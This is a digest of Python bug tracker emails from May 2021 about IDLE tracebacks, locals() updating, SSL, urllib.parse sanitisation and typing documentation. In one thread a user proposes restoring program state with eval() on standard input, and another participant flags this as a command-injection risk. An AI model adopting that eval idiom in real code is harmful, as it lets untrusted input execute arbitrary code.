In-Reply-To: <1588321901.81.0.617278241299.issue40465@roundup.psfhosted.org> Message-ID: <1620097135.95.0.330551764955.issue40465@roundup.psfhosted.org> Change by Anthony Sottile : ---------- nosy: -Anthony Sottile _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 3 23:49:13 2021 From: report at bugs.python.org (Dennis Sweeney) Date: Tue, 04 May 2021 03:49:13 +0000 Subject: [issue44026] IDLE doesn't offer "Did you mean?" for AttributeError and NameError Message-ID: <1620100153.12.0.0610630675338.issue44026@roundup.psfhosted.org> New submission from Dennis Sweeney : After bpo-38530, I get this in the python shell: Python 3.10.0b1 (tags/v3.10.0b1:ba42175, May 3 2021, 20:22:30) [MSC v.1928 64 bit (AMD64)] on win32 Type "help", "copyright", "credits" or "license" for more information. >>> class A: ... foobar = 1 ... >>> A.foocar Traceback (most recent call last): File "", line 1, in AttributeError: type object 'A' has no attribute 'foocar'. Did you mean: 'foobar'? >>> But I get this in IDLE: Python 3.10.0b1 (tags/v3.10.0b1:ba42175, May 3 2021, 20:22:30) [MSC v.1928 64 bit (AMD64)] on win32 Type "help", "copyright", "credits" or "license()" for more information. class A: foobar = 1 A.foocar Traceback (most recent call last): File "", line 1, in A.foocar AttributeError: type object 'A' has no attribute 'foocar' Can we extend this functionality to IDLE, and fix the discrepancy? ---------- assignee: terry.reedy components: IDLE messages: 392850 nosy: Dennis Sweeney, terry.reedy priority: normal severity: normal status: open title: IDLE doesn't offer "Did you mean?" for AttributeError and NameError type: enhancement versions: Python 3.10, Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 3 23:49:43 2021 From: report at bugs.python.org (Dennis Sweeney) Date: Tue, 04 May 2021 03:49:43 +0000 Subject: [issue44026] IDLE doesn't offer "Did you mean?" for AttributeError and NameError In-Reply-To: <1620100153.12.0.0610630675338.issue44026@roundup.psfhosted.org> Message-ID: <1620100183.88.0.0974069861467.issue44026@roundup.psfhosted.org> Change by Dennis Sweeney : ---------- nosy: +pablogsal _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 4 00:02:13 2021 From: report at bugs.python.org (Raymond Hettinger) Date: Tue, 04 May 2021 04:02:13 +0000 Subject: [issue44018] random.seed mutates input bytearray In-Reply-To: <1620033218.62.0.404367985861.issue44018@roundup.psfhosted.org> Message-ID: <1620100933.95.0.443995603358.issue44018@roundup.psfhosted.org> Change by Raymond Hettinger : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 4 00:05:32 2021 From: report at bugs.python.org (Jelle Zijlstra) Date: Tue, 04 May 2021 04:05:32 +0000 Subject: [issue44001] typing.Literal: args must be hashable, not immutable In-Reply-To: <1619889322.68.0.709429587996.issue44001@roundup.psfhosted.org> Message-ID: <1620101132.33.0.906975917385.issue44001@roundup.psfhosted.org> Change by Jelle Zijlstra : ---------- keywords: +patch pull_requests: +24554 stage: -> patch review pull_request: https://github.com/python/cpython/pull/25877 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 4 00:11:50 2021 From: report at bugs.python.org (Raymond Hettinger) Date: Tue, 04 May 2021 04:11:50 +0000 Subject: [issue26680] Incorporating float.is_integer into Decimal In-Reply-To: <1459452864.35.0.120403756979.issue26680@psf.upfronthosting.co.za> Message-ID: <1620101510.7.0.395519289869.issue26680@roundup.psfhosted.org> Change by Raymond Hettinger : ---------- versions: +Python 3.11 -Python 3.10 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 4 00:30:58 2021 From: report at bugs.python.org (BinToss) Date: Tue, 04 May 2021 04:30:58 +0000 Subject: [issue44027] Python 3.9 UWP does not create key in PythonCore Message-ID: <1620102658.85.0.0860140751031.issue44027@roundup.psfhosted.org> New submission from BinToss : On Windows, dependent applications such as VapourSynth look for Python's path via the entries in HKLM\\SOFTWARE\\Python\\PythonCore\\. However, the Python 3.8 and 3.9 UWP releases don't create and write to their respective subkeys. Only the Win32 releases write to their subkeys. See https://github.com/vapoursynth/vapoursynth/issues/684 ---------- components: Installation messages: 392851 nosy: BinToss priority: normal severity: normal status: open title: Python 3.9 UWP does not create key in PythonCore type: behavior versions: Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 4 00:54:20 2021 From: report at bugs.python.org (Ned Deily) Date: Tue, 04 May 2021 04:54:20 +0000 Subject: [issue44027] Python 3.9 UWP does not create key in PythonCore In-Reply-To: <1620102658.85.0.0860140751031.issue44027@roundup.psfhosted.org> Message-ID: <1620104060.8.0.609712174467.issue44027@roundup.psfhosted.org> Change by Ned Deily : ---------- components: +Windows -Installation nosy: +paul.moore, steve.dower, tim.golden, zach.ware _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 4 01:05:16 2021 From: report at bugs.python.org (wang xuancong) Date: Tue, 04 May 2021 05:05:16 +0000 Subject: [issue44028] Request for locals().update() to work, it is Message-ID: <1620104716.88.0.704120170613.issue44028@roundup.psfhosted.org> New submission from wang xuancong : In general, the ability to update local variables is very important and it simplifies life tremendously. For example, in machine learning, it allows saving/loading arbitrary-format datasets and arbitrary-structure neural networks (NN) using a single line of code. In computer games, no matter how many complex data structures are there, saving and loading can be done in a single line. Imagine you are game developer or a deep neural network (DNN) researcher, if all local variables are serializable, then no matter how complicated your game or your DNN structure is, saving the entire game or DNN (to STDOUT) can be simply put into one line as `print(locals())`, and loading the entire game or DNN (from STDIN) can be simply put into one line as `locals().update(eval(sys.stdin.read()))`. Currently, `globals().update(...)` takes immediate effect but `locals().update(...)` does not work because Python documentation says: > The default locals act as described for function locals() below: > modifications to the default locals dictionary should not be > attempted. Pass an explicit locals dictionary if you need to see > effects of the code on locals after function exec() returns. Why they design Python in such way is because of optimization and conforming the `exec` statement into a function: > To modify the locals of a function on the fly is not possible without > several consequences: normally, function locals are not stored in a > dictionary, but an array, whose indices are determined at compile time > from the known locales. This collides at least with new locals added > by exec. The old exec statement circumvented this, because the > compiler knew that if an exec without globals/locals args occurred in > a function, that namespace would be "unoptimized", i.e. not using the > locals array. Since exec() is now a normal function, the compiler does > not know what "exec" may be bound to, and therefore can not treat is > specially. Since `global().update(...)` works, the following piece of code will work in root namespace (i.e., outside any function) because locals() is the same as globals() in root namespace: ``` locals().update({'a':3, 'b':4}) print(a, b) ``` But this will not work inside a function. I have explored a few ways of hacking updating locals() on Python 3, it seems there is no way so far. The following piece of code seems to works: ``` def f1(): sys._getframe(1).f_locals.update({'a':3, 'b':4}) print(a, b) f1() ``` However, that is because `sys._getframe(1)` is the root namespace, so `sys._getframe(1).f_locals.update()` is essentially `globals().update()`. >From the above Python developer documentation, I understand that in Python 2, local namespace lookup has 2 modes: optimized mode if there is no `exec` statement, un-optimized mode if there exists an `exec` statement. But in Python 3, `exec` becomes a function, so the compiler cannot determine which namespace optimization mode at compile time (because `exec` can be overridden or aliased into a different name). Therefore, Python 3 has only optimized namespace lookup. My suggestion is that whenever this optimized local namespace lookup fails, perform an un-optimized lookup (which will include locals()). This should solve the problem. Do you have any other ideas or suggestions for doing this? Thanks! ---------- components: Interpreter Core messages: 392852 nosy: xuancong84 priority: normal severity: normal status: open title: Request for locals().update() to work, it is type: enhancement versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 4 01:50:13 2021 From: report at bugs.python.org (Christian Heimes) Date: Tue, 04 May 2021 05:50:13 +0000 Subject: [issue43522] SSLContext.hostname_checks_common_name appears to have no effect In-Reply-To: <1615925270.47.0.272234983925.issue43522@roundup.psfhosted.org> Message-ID: <1620107413.35.0.974069698211.issue43522@roundup.psfhosted.org> Christian Heimes added the comment: Seth's urllib3 newsletter reminded me that I forgot to link to OpenSSL issues here. The problem was caused by a bug in OpenSSL. The issue is fixed in OpenSSL default branch and is scheduled to land in next 1.1.1 release. My changes to Python's ssl module are backports of my OpenSSL fixes for older 1.1.1 releases. https://github.com/openssl/openssl/issues/14579 https://github.com/openssl/openssl/pull/14856 https://github.com/openssl/openssl/commit/dfccfde06562ac87fe5e5f9401ba86cad050d9a2 ---------- versions: +Python 3.8, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 4 02:06:37 2021 From: report at bugs.python.org (Terry J. Reedy) Date: Tue, 04 May 2021 06:06:37 +0000 Subject: [issue44026] IDLE doesn't offer "Did you mean?" for AttributeError and NameError In-Reply-To: <1620100153.12.0.0610630675338.issue44026@roundup.psfhosted.org> Message-ID: <1620108397.32.0.543995212173.issue44026@roundup.psfhosted.org> Terry J. Reedy added the comment: I am surprised for 2 reasons. First, I have seen other improved messages in IDLE, though maybe only for syntax errors. Second, code entered through IDLE is executed by Python, 'same' in this respect as code entered through the REPL. In more detail, IDLE calls exec(compile(code, '', 'single', 0x200, True)) Still, 'int.reel' does not give the message while 'int.reel' in the exec above does. I have no idea right now why the difference. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 4 03:34:10 2021 From: report at bugs.python.org (Shreyan Avigyan) Date: Tue, 04 May 2021 07:34:10 +0000 Subject: [issue44026] IDLE doesn't offer "Did you mean?" for AttributeError and NameError In-Reply-To: <1620100153.12.0.0610630675338.issue44026@roundup.psfhosted.org> Message-ID: <1620113650.14.0.694449403501.issue44026@roundup.psfhosted.org> Shreyan Avigyan added the comment: Python shell uses to evaluate while IDLE uses . Is that the problem? ---------- nosy: +shreyanavigyan _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 4 03:35:32 2021 From: report at bugs.python.org (Steven D'Aprano) Date: Tue, 04 May 2021 07:35:32 +0000 Subject: [issue44028] Request for locals().update() to work, it is In-Reply-To: <1620104716.88.0.704120170613.issue44028@roundup.psfhosted.org> Message-ID: <1620113732.91.0.262458460084.issue44028@roundup.psfhosted.org> Steven D'Aprano added the comment: > loading the entire game or DNN (from STDIN) can be simply put into one line as `locals().update(eval(sys.stdin.read()))` This is how you get command injection attacks. https://owasp.org/www-community/attacks/Command_Injection https://cwe.mitre.org/data/definitions/77.html ---------- nosy: +steven.daprano _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 4 04:04:05 2021 From: report at bugs.python.org (Dennis Sweeney) Date: Tue, 04 May 2021 08:04:05 +0000 Subject: [issue44026] IDLE doesn't offer "Did you mean?" for AttributeError and NameError In-Reply-To: <1620100153.12.0.0610630675338.issue44026@roundup.psfhosted.org> Message-ID: <1620115445.23.0.666462441055.issue44026@roundup.psfhosted.org> Dennis Sweeney added the comment: I'm not sure if this helps, but this is the relevant tree of callers: suggestions.c: _Py_Offer_Suggestions() (the expected behavior) is only referenced by pythonrun.c: print_exception(), which is only referenced by pythonrun.c: print_exception_recursive(), which is only referenced by itself and pythonrun.c: _PyErr_Display(), which is referenced by: - threadmodule.c: thread_excepthook_file() - pythonrun.c: PyErr_Display() pythonrun.c: PyErr_Display() is referenced by: - pythonrun.c: _PyErr_PrintEx() - pythonrun.c: _Py_FatalErr_PrintExc() - _testcapimodule.c: exception_print() - sysmodule.c: sys_excepthook_impl() (Python's sys.excepthook) pythonrun.c: _PyErr_PrintEx() is referenced by: - pythonrun.c: PyErr_PrintEx() is referenced by - pythonrun.c: PyErr_Print() - pylifecycle.c: new_interpreter() - pythonrun.c _PyErr_Print() is referenced by - ceval.c:_Py_FinishPendingCalls() - pylifecycle.c: init_importlib_external() - pylifecycle.c: init_interp_main() ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 4 04:04:56 2021 From: report at bugs.python.org (Jonathan Schweder) Date: Tue, 04 May 2021 08:04:56 +0000 Subject: [issue43742] tcp_echo_client in asyncio streams example does not work. Hangs for ever at reaser.read() In-Reply-To: <1617696453.27.0.575129983051.issue43742@roundup.psfhosted.org> Message-ID: <1620115496.31.0.958702875882.issue43742@roundup.psfhosted.org> Jonathan Schweder added the comment: @jcolo Awesome to hear that you were able to run the example, in fact I got in the same trap, thinking the same that the example should carry the server and client side, I guess we can improve the documentation to avoid it, I'll sent a PR to make the improvement. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 4 04:09:42 2021 From: report at bugs.python.org (Dennis Sweeney) Date: Tue, 04 May 2021 08:09:42 +0000 Subject: [issue44026] IDLE doesn't offer "Did you mean?" for AttributeError and NameError In-Reply-To: <1620100153.12.0.0610630675338.issue44026@roundup.psfhosted.org> Message-ID: <1620115782.02.0.280310280715.issue44026@roundup.psfhosted.org> Dennis Sweeney added the comment: PyErr_Display() grabs the current sys.stderr and writes to that, but it looks like IDLE never gets to call PyErr_Display(). ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 4 04:16:44 2021 From: report at bugs.python.org (wang xuancong) Date: Tue, 04 May 2021 08:16:44 +0000 Subject: [issue44028] Request for locals().update() to work, it is In-Reply-To: <1620104716.88.0.704120170613.issue44028@roundup.psfhosted.org> Message-ID: <1620116204.07.0.12581311208.issue44028@roundup.psfhosted.org> wang xuancong added the comment: Of course, I am aware of that. As elite-level Python programmers, we should all be aware of security issues whenever we deal with exec() and eval(). ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 4 04:23:41 2021 From: report at bugs.python.org (Dennis Sweeney) Date: Tue, 04 May 2021 08:23:41 +0000 Subject: [issue44026] IDLE doesn't offer "Did you mean?" for AttributeError and NameError In-Reply-To: <1620100153.12.0.0610630675338.issue44026@roundup.psfhosted.org> Message-ID: <1620116621.18.0.693156207829.issue44026@roundup.psfhosted.org> Dennis Sweeney added the comment: It looks like Lib/idlelib/run.py : print_exception() re-implements the traceback, rather than relying on sys.excepthook ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 4 04:37:00 2021 From: report at bugs.python.org (miss-islington) Date: Tue, 04 May 2021 08:37:00 +0000 Subject: [issue43666] AIX: Lib/_aix_support.py may break in a WPAR environment In-Reply-To: <1617093448.54.0.678139047472.issue43666@roundup.psfhosted.org> Message-ID: <1620117420.09.0.492577710209.issue43666@roundup.psfhosted.org> Change by miss-islington : ---------- nosy: +miss-islington nosy_count: 1.0 -> 2.0 pull_requests: +24555 pull_request: https://github.com/python/cpython/pull/25880 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 4 04:40:05 2021 From: report at bugs.python.org (Inada Naoki) Date: Tue, 04 May 2021 08:40:05 +0000 Subject: [issue44029] PEP 624: Remove Py_UNICODE APIs Message-ID: <1620117605.85.0.144508372632.issue44029@roundup.psfhosted.org> New submission from Inada Naoki : Ref: https://www.python.org/dev/peps/pep-0624/ ---------- components: C API messages: 392862 nosy: methane priority: normal severity: normal status: open title: PEP 624: Remove Py_UNICODE APIs versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 4 04:43:17 2021 From: report at bugs.python.org (Dennis Sweeney) Date: Tue, 04 May 2021 08:43:17 +0000 Subject: [issue44026] IDLE doesn't offer "Did you mean?" for AttributeError and NameError In-Reply-To: <1620100153.12.0.0610630675338.issue44026@roundup.psfhosted.org> Message-ID: <1620117797.48.0.960616220475.issue44026@roundup.psfhosted.org> Dennis Sweeney added the comment: Indeed, this change enables the feature for IDLE, though I'm not sure what it breaks. diff --git a/Lib/idlelib/run.py b/Lib/idlelib/run.py index 07e9a2bf9c..319b16f311 100644 --- a/Lib/idlelib/run.py +++ b/Lib/idlelib/run.py @@ -569,7 +569,7 @@ def runcode(self, code): self.user_exc_info = sys.exc_info() # For testing, hook, viewer. if quitting: exit() - if sys.excepthook is sys.__excepthook__: + if False: print_exception() else: try: ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 4 04:44:23 2021 From: report at bugs.python.org (Shreyan Avigyan) Date: Tue, 04 May 2021 08:44:23 +0000 Subject: [issue44026] IDLE doesn't offer "Did you mean?" for AttributeError and NameError In-Reply-To: <1620100153.12.0.0610630675338.issue44026@roundup.psfhosted.org> Message-ID: <1620117863.19.0.113607590323.issue44026@roundup.psfhosted.org> Shreyan Avigyan added the comment: Does the test suite run succesfully? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 4 04:49:15 2021 From: report at bugs.python.org (Inada Naoki) Date: Tue, 04 May 2021 08:49:15 +0000 Subject: [issue44029] PEP 624: Remove Py_UNICODE APIs In-Reply-To: <1620117605.85.0.144508372632.issue44029@roundup.psfhosted.org> Message-ID: <1620118155.5.0.819482456698.issue44029@roundup.psfhosted.org> Change by Inada Naoki : ---------- keywords: +patch pull_requests: +24556 stage: -> patch review pull_request: https://github.com/python/cpython/pull/25881 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 4 04:54:22 2021 From: report at bugs.python.org (miss-islington) Date: Tue, 04 May 2021 08:54:22 +0000 Subject: [issue44001] typing.Literal: args must be hashable, not immutable In-Reply-To: <1619889322.68.0.709429587996.issue44001@roundup.psfhosted.org> Message-ID: <1620118462.83.0.501156958282.issue44001@roundup.psfhosted.org> Change by miss-islington : ---------- nosy: +miss-islington nosy_count: 1.0 -> 2.0 pull_requests: +24557 pull_request: https://github.com/python/cpython/pull/25882 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 4 04:58:57 2021 From: report at bugs.python.org (robin) Date: Tue, 04 May 2021 08:58:57 +0000 Subject: [issue37605] CI should not depend on gmane response In-Reply-To: <1563292175.7.0.185090199306.issue37605@roundup.psfhosted.org> Message-ID: <1620118737.65.0.06774140647.issue37605@roundup.psfhosted.org> robin added the comment: In other news, news.gmane.org is now news.gmane.io; see also https://bugs.python.org/issue39343 ---------- nosy: +eriker _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 4 05:00:51 2021 From: report at bugs.python.org (=?utf-8?q?=C5=81ukasz_Langa?=) Date: Tue, 04 May 2021 09:00:51 +0000 Subject: [issue43666] AIX: Lib/_aix_support.py may break in a WPAR environment In-Reply-To: <1617093448.54.0.678139047472.issue43666@roundup.psfhosted.org> Message-ID: <1620118851.3.0.421665957407.issue43666@roundup.psfhosted.org> ?ukasz Langa added the comment: New changeset 7a92beea2cb13db3e42d39b169e124fa3b89dc36 by Miss Islington (bot) in branch '3.9': bpo-43666: Lib/_aix_support.py routines may fail in a WPAR environment (GH-25095) (#25880) https://github.com/python/cpython/commit/7a92beea2cb13db3e42d39b169e124fa3b89dc36 ---------- nosy: +lukasz.langa _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 4 05:17:38 2021 From: report at bugs.python.org (=?utf-8?q?=C5=81ukasz_Langa?=) Date: Tue, 04 May 2021 09:17:38 +0000 Subject: [issue44001] typing.Literal: args must be hashable, not immutable In-Reply-To: <1619889322.68.0.709429587996.issue44001@roundup.psfhosted.org> Message-ID: <1620119858.91.0.45195356886.issue44001@roundup.psfhosted.org> ?ukasz Langa added the comment: New changeset 2046fb35e4e0986523bd0f6214fc318a414c8b97 by Miss Islington (bot) in branch '3.10': bpo-44001: improve Literal documentation (GH-25877) (#25882) https://github.com/python/cpython/commit/2046fb35e4e0986523bd0f6214fc318a414c8b97 ---------- nosy: +lukasz.langa _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 4 05:31:14 2021 From: report at bugs.python.org (miss-islington) Date: Tue, 04 May 2021 09:31:14 +0000 Subject: [issue38352] In typing docs, note explicit import needed for IO and Pattern/Match In-Reply-To: <1570041077.58.0.399304866649.issue38352@roundup.psfhosted.org> Message-ID: <1620120674.49.0.697517904883.issue38352@roundup.psfhosted.org> Change by miss-islington : ---------- nosy: +miss-islington nosy_count: 6.0 -> 7.0 pull_requests: +24558 pull_request: https://github.com/python/cpython/pull/25884 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 4 05:34:48 2021 From: report at bugs.python.org (miss-islington) Date: Tue, 04 May 2021 09:34:48 +0000 Subject: [issue38352] In typing docs, note explicit import needed for IO and Pattern/Match In-Reply-To: <1570041077.58.0.399304866649.issue38352@roundup.psfhosted.org> Message-ID: <1620120888.57.0.421132179463.issue38352@roundup.psfhosted.org> Change by miss-islington : ---------- pull_requests: +24559 pull_request: https://github.com/python/cpython/pull/25885 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 4 05:51:45 2021 From: report at bugs.python.org (=?utf-8?q?=C5=81ukasz_Langa?=) Date: Tue, 04 May 2021 09:51:45 +0000 Subject: [issue38352] In typing docs, note explicit import needed for IO and Pattern/Match In-Reply-To: <1570041077.58.0.399304866649.issue38352@roundup.psfhosted.org> Message-ID: <1620121905.88.0.21747358348.issue38352@roundup.psfhosted.org> ?ukasz Langa added the comment: New changeset e1bcc88a502aa0239b6bcc4da3fe024307fd27f4 by Miss Islington (bot) in branch '3.10': bpo-38352: Add to typing.__all__ (GH-25821) (#25884) https://github.com/python/cpython/commit/e1bcc88a502aa0239b6bcc4da3fe024307fd27f4 ---------- nosy: +lukasz.langa _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 4 06:02:52 2021 From: report at bugs.python.org (=?utf-8?q?=C5=81ukasz_Langa?=) Date: Tue, 04 May 2021 10:02:52 +0000 Subject: [issue38352] In typing docs, note explicit import needed for IO and Pattern/Match In-Reply-To: <1570041077.58.0.399304866649.issue38352@roundup.psfhosted.org> Message-ID: <1620122572.52.0.718938410103.issue38352@roundup.psfhosted.org> ?ukasz Langa added the comment: New changeset 00726e51ade10c7e3535811eb700418725244230 by Miss Islington (bot) in branch '3.9': bpo-38352: Add to typing.__all__ (GH-25821) (#25885) https://github.com/python/cpython/commit/00726e51ade10c7e3535811eb700418725244230 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 4 06:08:56 2021 From: report at bugs.python.org (=?utf-8?q?=C5=81ukasz_Langa?=) Date: Tue, 04 May 2021 10:08:56 +0000 Subject: [issue38352] In typing docs, note explicit import needed for IO and Pattern/Match In-Reply-To: <1570041077.58.0.399304866649.issue38352@roundup.psfhosted.org> Message-ID: <1620122936.61.0.937882627579.issue38352@roundup.psfhosted.org> ?ukasz Langa added the comment: Fix merged to main (3.11), 3.10, and 3.9. Not applicable to older Pythons as they are security fixes only. ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed versions: +Python 3.10, Python 3.11, Python 3.9 -Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 4 06:13:16 2021 From: report at bugs.python.org (Ken Jin) Date: Tue, 04 May 2021 10:13:16 +0000 Subject: [issue42083] PyStructSequence_NewType broken in 3.8 In-Reply-To: <1603132025.42.0.432168177789.issue42083@roundup.psfhosted.org> Message-ID: <1620123196.68.0.55203655695.issue42083@roundup.psfhosted.org> Change by Ken Jin : ---------- pull_requests: +24560 pull_request: https://github.com/python/cpython/pull/25886 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 4 06:24:38 2021 From: report at bugs.python.org (Terry J. Reedy) Date: Tue, 04 May 2021 10:24:38 +0000 Subject: [issue44030] Markup with_traceback code example Message-ID: <1620123878.12.0.914520648709.issue44030@roundup.psfhosted.org> New submission from Terry J. Reedy : .../Doc/library/exceptions.rst, lines 99-105 has original ``SomeException`` had we allowed it to propagate to the caller. try: ... except SomeException: tb = sys.exc_info()[2] raise OtherException(...).with_traceback(tb) The code example with no markup except indents does not work because without a new indent, the last line is merged with the preceding one as part of the same paragraph. https://docs.python.org/3.10/library/exceptions.html#BaseException.with_traceback traceback of the original SomeException had we allowed it to propagate to the caller. try: ? except SomeException: tb = sys.exc_info()[2] raise OtherException(?).with_traceback(tb) Note also the uneven line spacing, which is different for me here with Firefox that in the web page (also with Firefox). Something different is needed, but I do not know what. ---------- assignee: docs at python components: Documentation messages: 392871 nosy: docs at python, terry.reedy priority: normal severity: normal stage: needs patch status: open title: Markup with_traceback code example type: behavior versions: Python 3.10, Python 3.11, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 4 06:52:19 2021 From: report at bugs.python.org (Terry J. Reedy) Date: Tue, 04 May 2021 10:52:19 +0000 Subject: [issue44026] IDLE doesn't offer "Did you mean?" for AttributeError and NameError In-Reply-To: <1620100153.12.0.0610630675338.issue44026@roundup.psfhosted.org> Message-ID: <1620125539.51.0.695137292922.issue44026@roundup.psfhosted.org> Terry J. Reedy added the comment: (Shreyan, the fake filenames are not relevant.) By default, sys.excepthook is sys.__excepthook is . So by default IDLE runcode calls print_exception, which call cleanup_traceback for each traceback printed. This function makes two important changes to the traceback. First, it removes traceback lines that are not present when running in the C-coded REPL, because IDLE does some functions with Python code. The result is that IDLE tracebacks nearly always equal REPL tracebacks. Second, for Shell code, IDLE add cached code lines. Compare >>> a = b Traceback (most recent call last): File "", line 1, in NameError: name 'b' is not defined to >>> a = b Traceback (most recent call last): File "", line 1, in a = b NameError: name 'b' is not defined >>> We are not going to stop using print_exception. Note that it is normal for IDEs to modify tracebacks. The 'is' is false when user change excepthook. The false branch was recently added to run user excepthooks. Pablo, I checked an AttributeError instance and the missing phrase is not present. Why is it hidden from Python code. Why not add the rest of the message to the message? Or at least add it to the tuple or an attribute. Or add a .get_suggestion method to exception objects, like .with_traceback. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 4 06:57:39 2021 From: report at bugs.python.org (=?utf-8?b?TWljaGHFgiBHw7Nybnk=?=) Date: Tue, 04 May 2021 10:57:39 +0000 Subject: [issue43882] [security] urllib.parse should sanitize urls containing ASCII newline and tabs. In-Reply-To: <1618774620.3.0.412025280445.issue43882@roundup.psfhosted.org> Message-ID: <1620125859.65.0.986077259386.issue43882@roundup.psfhosted.org> Micha? G?rny added the comment: I hate to be the bearer of bad news but I've already found this change to be breaking tests of botocore and django. In both cases, the test failure is apparently because upstream used to reject URLs after finding newlines in the split components, and now they're silently stripped away. Filed bugs: https://github.com/boto/botocore/issues/2377 https://code.djangoproject.com/ticket/32713 Note that I'm not saying the change should be reverted. ---------- nosy: +mgorny _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 4 07:01:54 2021 From: report at bugs.python.org (Alexei S) Date: Tue, 04 May 2021 11:01:54 +0000 Subject: [issue43001] python3.9.1python3.9.1 test_embed test_tabnanny failed In-Reply-To: <1611315338.64.0.350030617212.issue43001@roundup.psfhosted.org> Message-ID: <1620126114.35.0.688063878032.issue43001@roundup.psfhosted.org> Change by Alexei S : ---------- title: python3.9.1 test_embed test_tabnanny failed -> python3.9.1python3.9.1 test_embed test_tabnanny failed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 4 07:01:25 2021 From: report at bugs.python.org (Alexei S) Date: Tue, 04 May 2021 11:01:25 +0000 Subject: [issue43001] python3.9.1 test_embed test_tabnanny failed In-Reply-To: <1611315338.64.0.350030617212.issue43001@roundup.psfhosted.org> Message-ID: <1620126085.42.0.830337797905.issue43001@roundup.psfhosted.org> Change by Alexei S : ---------- resolution: out of date -> status: closed -> open _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 4 07:08:48 2021 From: report at bugs.python.org (miss-islington) Date: Tue, 04 May 2021 11:08:48 +0000 Subject: [issue42083] PyStructSequence_NewType broken in 3.8 In-Reply-To: <1603132025.42.0.432168177789.issue42083@roundup.psfhosted.org> Message-ID: <1620126528.13.0.301555161583.issue42083@roundup.psfhosted.org> Change by miss-islington : ---------- nosy: +miss-islington nosy_count: 4.0 -> 5.0 pull_requests: +24561 pull_request: https://github.com/python/cpython/pull/25887 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 4 07:10:45 2021 From: report at bugs.python.org (Alexei S) Date: Tue, 04 May 2021 11:10:45 +0000 Subject: [issue43001] python3.8.9, python3.9.1 test_embed test_tabnanny failed In-Reply-To: <1611315338.64.0.350030617212.issue43001@roundup.psfhosted.org> Message-ID: <1620126645.67.0.934259665595.issue43001@roundup.psfhosted.org> Change by Alexei S : ---------- versions: +Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 4 07:10:13 2021 From: report at bugs.python.org (Alexei S) Date: Tue, 04 May 2021 11:10:13 +0000 Subject: [issue43001] python3.8.9, python3.9.1 test_embed test_tabnanny failed In-Reply-To: <1611315338.64.0.350030617212.issue43001@roundup.psfhosted.org> Message-ID: <1620126613.73.0.0629240612966.issue43001@roundup.psfhosted.org> Alexei S added the comment: python 3.8.9 also show compile problems my system: Linux Mint 20.1 Cinnamon (Cinnamon 4.8.6) kernel 5.8.0-48-generic $uname -a Linux home 5.8.0-48-generic #54~20.04.1-Ubuntu SMP Sat Mar 20 13:40:25 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux I tried to execute problem code from tabnanny in PyCharm - that's ok from test.support import (captured_stderr, captured_stdout, script_helper, findfile, unlink) def validate_cmd(self, *args, stdout="", stderr="", partial=False): """Common function to assert the behaviour of command line interface.""" _, out, err = script_helper.assert_python_ok('-m', 'tabnanny', *args) # Note: The `splitlines()` will solve the problem of CRLF(\r) added # by OS Windows. out = out.decode('ascii') err = err.decode('ascii') if partial: for std, output in ((stdout, out), (stderr, err)): _output = output.splitlines() for _std in std.splitlines(): with self.subTest(std=_std, output=_output): self.assertIn(_std, _output) else: self.assertListEqual(out.splitlines(), stdout.splitlines()) self.assertListEqual(err.splitlines(), stderr.splitlines()) def test_command_usage(self): path = findfile('~/????????/Python-3.8.9/Lib/test/tabnanny.py') stderr = f"Usage: {path} [-v] file_or_directory ..." self.validate_cmd(stderr=stderr) ---------- title: python3.9.1python3.9.1 test_embed test_tabnanny failed -> python3.8.9, python3.9.1 test_embed test_tabnanny failed Added file: https://bugs.python.org/file50006/make_test_3.8.9.log _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 4 07:11:54 2021 From: report at bugs.python.org (Terry J. Reedy) Date: Tue, 04 May 2021 11:11:54 +0000 Subject: [issue37605] CI should not depend on gmane response In-Reply-To: 